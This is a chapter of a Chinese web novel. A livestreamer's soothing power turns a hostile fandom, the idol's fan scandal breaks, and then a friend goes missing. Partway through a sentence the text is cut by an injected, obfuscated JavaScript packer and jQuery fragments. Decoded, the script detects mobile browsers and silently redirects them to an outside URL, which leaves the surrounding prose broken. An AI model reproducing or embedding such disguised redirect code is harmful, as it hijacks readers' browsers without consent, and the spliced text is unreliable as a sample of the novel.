“这个鸽子汤煲得特别好。所有的味道都是淡淡的，但是混在一起就变成了一种含蓄深厚的美味。像秋日的暖阳，不管晒多久，都只会让人觉得温柔。”


    江拾闲神色柔和、笑容纯粹。她的话语声很悠扬，像傍晚的风撩过耳畔，于无声无息之间，扫清了人心中的躁动和不安。


    我要炸公司：【主播你也好温柔，我感觉自己被净化了……】


    吃五斤蛋糕：【我最近一直在用吃东西对抗压力。原本点进直播间是想试试看，能不能通过看别人吃的方式替代我自己去吃。但是我突然觉得，我应该心无挂碍地去吃顿好的犒劳自己，然后换掉这份该死的工作。】


    炮仗：【想妈妈了。】


    ……


    原本还在垂死挣扎的左晟粉丝，在江拾闲开口之后悄然沉寂。


    取而代之的，是大段大段的美好回忆被通过文字分享。


    这就是江拾闲的一级技能——精神涟漪。


    她能够通过神态、言语、动作，如投石入水般，对他者的心绪施加细微的影响。


    效果强弱，则取决于她的异能等级和对方的意志力，还可能受到逻辑性的限制。


    在末世，这是一个很考验运用者智慧的能力。


    可能会成为毫无用处的废物技能。也有概率在悄无声息之间完成对他者的操控。


    一个惨痛的教训是，江拾闲十二岁刚觉醒异能的时候，不知天高地厚地拿她母亲练手，想让她母亲认她当老大。


    她行动的第一天就被她母亲识破，拎着她的耳朵将她揍了一顿，骂她是胆大包天的小兔崽子。


    而此时此刻，江拾闲正借着直播镜头，传递出平静、安全、幸福的能量。


    比起面对面施加异能，线上渠道所能带来的效果肯定会有所耗散。但后者的传播范围更广，这圈“涟漪”所能产生的影响力，将远超前者。


    饿鬼不是恶鬼：【俺想俺姥爷了。我小时候超级挑食，吃肉只爱吃排骨、吃菜只肯吃菜叶、吃鱼更是挑着鱼脸肉吃。结果在这种情况下，我姥爷愣是给我养成了两百多斤的大胖丫头。我后面减了十年的肥才瘦回正常体重。】


    锯子锯小提琴：【小时候特别穷，跟我妹两个人凑一块钱，买一根冰棍一包辣条，你一口我一口分着吃。那时还会因为觉得对方多吃了一口而吵架。现在我和她一个在南一个在北，各自成家，每年只能聚一小阵儿。要是能回到那个无忧无虑的时候就好了。】


    七七：【我前男友巨会做饭，跟他在一起之后我被喂胖了二十斤。后来他家里人不同意他和我谈恋爱，我嗷嗷大哭，给他哭害怕了。他犹豫着说回去跟父母再沟通，我说分不分手先放一边，你能不能把你平时那些菜谱写下来送我。现在我靠着他的菜谱钓小鲜肉，一钓一个准。】


    ……


    过好今天就是胜利：【这是什么？美食故事会？】


    超辣鸡肉卷：【我说，不要再为了那些跟我们一分钱关系都没有的明星吵架了，赢了输了又有什么意义呢？把那些情绪都丢在外面，大家在这儿好好聊聊天不好吗？】


    曙光：【就是就是。我喜欢闲老师也是因为她身上自带一种，不为外物所动的温柔坚定。其实人世间的很多事都没有那么重要，能努力把自己的生活过好，就已经很了不起了。】


    ……


    江拾闲快速地扫了两眼评论，笑得很欣慰。


    虽然刚来没多久，但她很喜欢这个世界。


    她知道人性之恶是根植于人类基因的存在，她早已做好了面对阴谋诡计的准备。


    所以，那些互联网的谩骂、抹黑、实名信息被曝光，在她眼里甚至堪称温和。


    而令她意外的，反而是一些不期而遇的善意与互助，信任与依赖。


    她发自内心地，希望能将她所体验到的美好传递下去。


    评论区的故事仍在继续，礼物打赏的频率愈发密集。


    一大批左晟粉丝退出了直播间，另一小批留了下来，但不再吭声。


    江拾闲安静地将舞台留给众人，只沉浸于美食的享用。


    餐具磕碰时的清脆响声、咀嚼时的轻柔动静，都构成了令人定心的背景音。


    待到餐盘见底，江拾闲开始谢榜时，好多观众才如梦初醒。


    炮仗：【跟我妈打了个电话，两个人隔着手机大吵了一架，但是把问题说开了，感觉心情畅快多了。】


    饿鬼不是恶鬼：【吃饭！爽！吃饭！爽！吃饭！爽！】


    每日微醺：【自打开始看主播吃饭，我就戒了酒。每天简简单单吃亿点食物，撑得根本喝不下酒。最近突然感觉，清醒的生活好像也不赖。】


    吃五斤蛋糕：【我出来吃牛排了，这次的感受和之前暴食时的感觉完全不一样。我意识到，食物的作用是给我供能，而美味的意义是让我尽情享受当下。生活本身挺美好的，我不应该帮着那些坏人责备、苛待自己。】


    把我打晕：【本来想试试看能不能看着直播睡觉，结果没睡着。但是现在感觉脑子好清楚，仿佛已经睡完了一觉。】


    我要上岸：【跟着主播一起吃了顿饭，感觉学习的压力一下子被扫清了。吃饭前我还在焦虑，现在只觉得：焦虑什么焦虑？直接开干！】


    一斤鸭舌：【我是左晟粉丝。一开始是看到群里有人骂你，所以想进来看看。结果我发现你和他们说的不大一样，就一直没有开腔。谢谢你，也谢谢直播间的姐妹，我会重新审视一下这个我喜欢了那么多年的人的。】


    好好学习天天向上：【其实我一直都隐隐约约知道，左晟不是大家认为的那种“好人”。但是我之前一直在给自己洗脑，觉得喜欢一个人就是要接受他的缺陷。现在我想明白了，明星千千万，不行咱就换。】


    真假难料：【我是左晟初代粉、现在是他的黑粉。我是看着他从接不到戏的小演员成长起来的，那几年的他也是真的很诚恳、踏实、努力。最近两年估计是好日子过多了，以为自己每一次都能化险为夷。前一阵我还在骂他，说他这样迟早塌房。现在他终于塌了，我反而有些唏嘘。】


    ……


    “精神涟漪”是江拾闲母亲起的名字。


    她那时说：涟漪看似毫无用处，但随着层层扩散，或许也能达成了不起的成就。


    她说：阿闲，人在痛苦里是没办法思考的，也没办法做出真正智慧的决定。而这，或许正是你的意义所在。


    江拾闲当然没有把这些话放在心上。


    她只觉得母亲身上还残留着旧时代的圣母心，怀着不切实际的美好幻想。


    她更擅长用暴力去解决问题。


    威胁、镇压、消灭，简单又快捷。


    而今时今日，看到异能发挥出的正向效果，她在某些意义上认可了母亲的话。


    嗯，只是“某些意义”。


    她很清楚，就算重来一次，在那个动辄你死我活的末世，她还是会寻求最快最粗暴的解法。


    谢榜结束，江拾闲和观众道别，下播。


    次日早，小眼平台的热搜再次被左晟霸屏。


    #左晟粉丝集体控诉曾被精神洗脑#


    #左晟大规模脱粉#


    #左晟塌房#


    多个左晟大粉公开表示，左晟有一个私密的粉丝群，要消费满一定额度之后才能实名进群。


    左晟会定期在群里卖惨，而工作人员则配合制造氛围，煽动情绪，指挥控评、刷数据，甚至批评不积极配合的粉丝。


    之前有大粉难以忍受、将群内聊天记录截图发出，结果遭遇大面积网暴不说，还被工作人员用她的实名信息威胁删帖。


    一个大粉表示：【我现在才意识到，我明明是花钱的甲方，在被要求花更多钱的同时，还要不停地做数据、发通稿、跟别人吵架。我现在回过头来看，觉得一切都很荒唐。但是我之前身在局中，看大家都这么做，只会觉得，好像这样才正常。】


    同天，一个新注册的小号开了帖子，标题为《左晟部分大粉恶劣行径一揽》。


    该账号披露了左晟粉丝圈内存在的畸形筹款、强迫消费、网络霸凌等等不良风气。


    同时，还以半打码的方式，披露了几个知名大粉利用饭圈文化拉帮结伙、为非作歹的恶行。


    此帖发出后，得到了广泛的声援与补充。


    这篇帖子没过几天就已经有了上万条评论，有人写长文、有人留下了截图、有人放了挂帖链接。


    其中，一个ID名叫“不差钱”的大粉，被爆出早两年曾伪造“对家”粉丝，打着举办生日会、购买应援的名义，向“对家”粉丝募集资金，最终卷款跑路的事迹。


    非但如此，他还找了一批左晟粉丝对“对家”展开言语羞辱，骂“对家”脑子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568714|184549||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不好才会喜欢他们正主。后续对方报警，才发现他是个未成年，最后是由其监护人赔的款。


    墙倒众人推。


    一时间，所有人都恨不得与左晟撇清关系。


    大部分的粉丝选择了脱粉。


    一小部分仍旧心怀希望的粉丝，也没了大张旗鼓自我标榜的勇气。


    江拾闲没有再关注这些喧嚣，而是开始想念那碗增进异能的汤。


    然而，就算汤阿姨再用一模一样的材料、相同的烹饪方式，做出来的汤也没能复现当时的效果。


    江拾闲又尝了一遍出自汤阿姨之手的其他饭菜，最后不得不接受：那日的突破或许只是一种机缘巧合。


    不过，好消息是，江拾闲的直播事业正蒸蒸日上。


    她的直播和视频变得愈发热门。被左晟粉丝搅局的那场直播的录屏，更是达到了恐怖的二十万赞和五百万的播放量。


    她在喵呜的大小号、小眼的账号，都先后抵达了20万粉丝。直播时的在线观看人数也稳定在了五位数，偶尔能来到六位数。单场直播的收入由原先的一千多增长到了三至五千。


    而同为“受害者”的“好滋味炸鸡”，也同样因祸得福，大大增加了曝光量。招商部的电话从早响到晚，一周内就签下了80个新的加盟商。


    经此一役，江拾闲对陶慧也有了更深的认识。


    当初，得知江拾闲的公关策略之后，陶慧几乎是毫不犹豫地选择了配合，即便她知道，这样的行为相当于给江拾闲做陪衬。


    这是一个聪明果断、擅长利弊权衡的人。


    江拾闲很欣赏陶慧的行事风格。


    所以，面对“好滋味炸鸡”一年八十万的代言邀约时，她没有谈价格，而是欣然应允。


    经济宽裕之后，江拾闲开始规划下一步的事业发展。


    首先是雇一个助理，来帮助她完成各项琐事。


    江拾闲脑中浮出的第一个人选就是，正在干美妆博主助理的、近期一直帮她剪视频的孟钦言。


    简单沟通过后，孟钦言表示，干完这个月，拿到约定的加班费和奖金后，就可以马上到她这边入职。


    然后，就是工作场地。


    单打独斗的时候可以在家里，但是如果慢慢组建团队的话，庞杂的人员在家里来回，始终不方便。更何况，还得顾及容挚的感受。


    江拾闲准备打听打听，附近有没有合适的房子出租。


    就在江拾闲以为新的一周会就此平静落幕时，这天凌晨，熟睡的她被手机铃声惊醒。


    接通后，她听到了孟钦言母亲焦急的声音。


    “阿闲啊，我是钦言妈妈，不好意思、打扰你了。我想问问你，知不知道钦言现在在哪、跟谁在一起啊？”


    “我昨天下午的时候给她发消息，她一直到现在都还没回我，打电话也没人接。”


    “我看了下她出租屋装的那个监控，她从早上出门之后一直都没回家。是现在还在公司加班吗？阿闲，你有没有她同事的联系方式？能不能帮阿姨问一问？实在麻烦你了……”


    电话一挂断，江拾闲就立刻行动起来。


    她用一个手机接连不断地拨打着孟钦言的电话，另一个手机则打开地图，按照孟钦言的通勤路线分析她可能出现的地方。


    她迅速换下睡衣，步履生风地冲向玄关，脑子里已经过了一遍搜寻的路线和可能发生的情况。


    但，就在手指触碰到冰凉的门把手时，她的动作猛然顿住。


    意外情况太多，多耽搁一会儿就会多一分的变数。


    单打独斗效率太低，还是得求助更多的人。


    江拾闲犹豫了半秒，毅然转身，大步往主卧走去。


    “叩、叩叩……”


    清晰的敲门声在万籁俱寂的凌晨显得格外突兀。


    门内很快传来了一阵急促的脚步声。


    江拾闲屏住呼吸，做好了直面怒火之后、再恳请对方帮忙的心理准备。


    屋内漆黑。


    随着开门，外面的光线沿着缝隙一点点打在容挚身上。


    他起得着急，通身上下只穿了条底裤，赤裸的肌肉线条在昏暗的光线下清晰可见。


    分明顶着鸡窝头，光脚踩在冰凉的地板上，但他脸上却没有半分的气恼或是烦躁，而是满眼关切地问道：“出什么事了吗？我能做些什么？”